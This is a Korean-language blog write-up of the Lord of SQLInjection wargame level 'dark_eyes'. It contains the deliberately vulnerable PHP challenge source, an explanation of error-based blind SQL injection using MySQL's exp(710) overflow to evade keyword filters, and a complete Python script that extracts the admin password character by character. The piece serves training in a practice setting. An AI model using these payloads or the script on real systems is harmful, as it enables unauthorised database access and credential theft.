LOS #22 dark_eyes
Lord of SQLInjection
los.rubiya.kr
Source Code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit();
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
highlight_file(__FILE__);
?>
Query
select id from prob_dark_eyes where id='admin' and pw=''
Write-up
문제에서 확인 가능한 정보는 다음과 같다.
- select하는 row는 1개다.
- col, if, case, when, sleep, benchmark를 필터링하고 있다. 이전 문제에서 사용한 if 함수는 사용할 수 없다.
- DB의 pw 값과 파라미터 pw 값이 일치해야 문제가 풀린다.
이전 문제와 마찬가지로 에러가 발생하면 exit() 함수로 웹페이지가 꺼지기 때문에 에러를 발생시키면 된다. 이전 문제에서 사용한 if() 함수를 필터링되므로 다른 방법을 이용해야 한다. 에러를 발생시킬 수 있는 방법으로 mysql exp() 함수를 사용할 수 있다.
* mysql exp() Function
MySQL EXP() Function
MySQL EXP() Function ❮ MySQL Functions Definition and Usage The EXP() function returns e raised to the power of the specified number. The constant e (2.718281...), is the base of natural logarithms. Tip: Also look at the LOG() and LN() functions. Syntax
www.w3schools.com
exp() 함수는 무리수 e=2.718281.. 값을 인자만큼 제곱하여 반환해주는 함수다.
위와 같이 e의 0제곱으로 1이 반환되고, e의 1제곱은 2.718281...이 반환된다. 그리고 e의 2제곱은 7.389056...이 반환되는 것을 확인할 수 있다.
exp() 함수는 최대 709제곱까지 반환을 해주는데, 무리수 e를 710제곱할 경우 숫자가 너무 커져 에러가 반환된다.
exp() 함수를 활용해서 에러를 유도할 수 있는데, 위와 같이 테스트 테이블을 구성하였다.
- 첫 번째 쿼리를 보면 pw 컬럼의 length의 값이 in 옵션에 포함되어 있는지 확인한다. 옵션에 7밖에 없고 pw 컬럼의 length 값은 8이므로 0이 반환된다. 따라서, 710*0이 되므로 exp(0) 함수가 실행되고 1이 반환되어 쿼리문은 참이 된다.
- 두 번째 쿼리의 경우 첫 번째 쿼리와 다르게 서브쿼리의 in 옵션의 값에 pw 컬럼의 length 값 8이 포함되어 있기 때문에 1이 반환된다. 따라서, 710*1이 되므로 exp(710) 함수가 실행되고 에러가 발생한다.
- 세 번쨰, 네 번째 쿼리도 동일한 방식으로 수행되는데, pw 컬럼의 값을 한 글자씩 비교하여 일치하면 exp(710) 함수가 실행되어 에러가 발생한다.
python으로 자동화 코드를 작성해보았다.
#!/usr/bin/py
#-*-coding:utf-8 -*-
import requests
def GetPwLength(t, s):
MIN_LENGTH = 1
MAX_LENGTH = 100
i = MIN_LENGTH
while i <= MAX_LENGTH:
try:
tmpPwLength = str(i)
payload = t + "?pw=' or id='admin' and exp(710*(select length(pw)=" + tmpPwLength + "))%23"
r = requests.post(payload, cookies=(dict(PHPSESSID=s)))
except OSError as e:
continue
except Exception as e:
print("GetPwLength() Error...")
print(e)
exit(1)
if "query" not in r.text:
return i
i += 1
def GetPw(t, s, lengthPw):
FIRST_ASCII = 48
LAST_ASCII = 127
BACK_SLASH = 92
tmpPw = ""
for i in range(1, lengthPw + 1):
j = FIRST_ASCII
while j <= LAST_ASCII:
try:
# backslash error bypass
if j == BACK_SLASH:
j += 1
tmpChar = chr(j)
payload = t + "?pw=' or id='admin' and exp(710*(substr(pw, " + str(i) + ", 1)=binary(\'" + tmpChar + "\')))%23"
r = requests.post(payload, cookies=(dict(PHPSESSID=s)))
# Caused by NewConnectionError('<urllib3.connection.VerifiedHTTPSConnection object at 0x7f9f58e66910>: Failed to establish a new connection: [Errno 110] Connection timed out'))
except OSError as e:
continue
except Exception as e:
print("GetPw Error...")
print(e)
exit(1)
# ascii code 0d95 "_" => "Hack" bypass
if "query" not in r.text and "Hack" not in r.text:
tmpPw += chr(j)
print("Stolen Pw : %s" %(tmpPw))
break
j += 1
return tmpPw
if __name__ == "__main__":
t = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
session = "" # Session
pw = ""
lengthPw = GetPwLength(t, session)
print("Length of Pw : %d\n" %(lengthPw))
pw = GetPw(t, session, lengthPw)
print("Final Pw : %s" %(pw))
exp() 함수로 에러를 발생시켜 pw 값을 훔쳤다.
* code
0xe82de/LOS
lord of sql injection. Contribute to 0xe82de/LOS development by creating an account on GitHub.
github.com
Parameter
pw=5a2f5d3c
Success
'Wargame > LOS' 카테고리의 다른 글
LOS #24 evil_wizard (0) | 2020.12.15 |
---|---|
LOS #23 hell_fire (0) | 2020.12.14 |
LOS #21 iron_golem (0) | 2020.12.08 |
LOS #20 dragon (0) | 2020.10.28 |
LOS #19 xavis (0) | 2020.10.28 |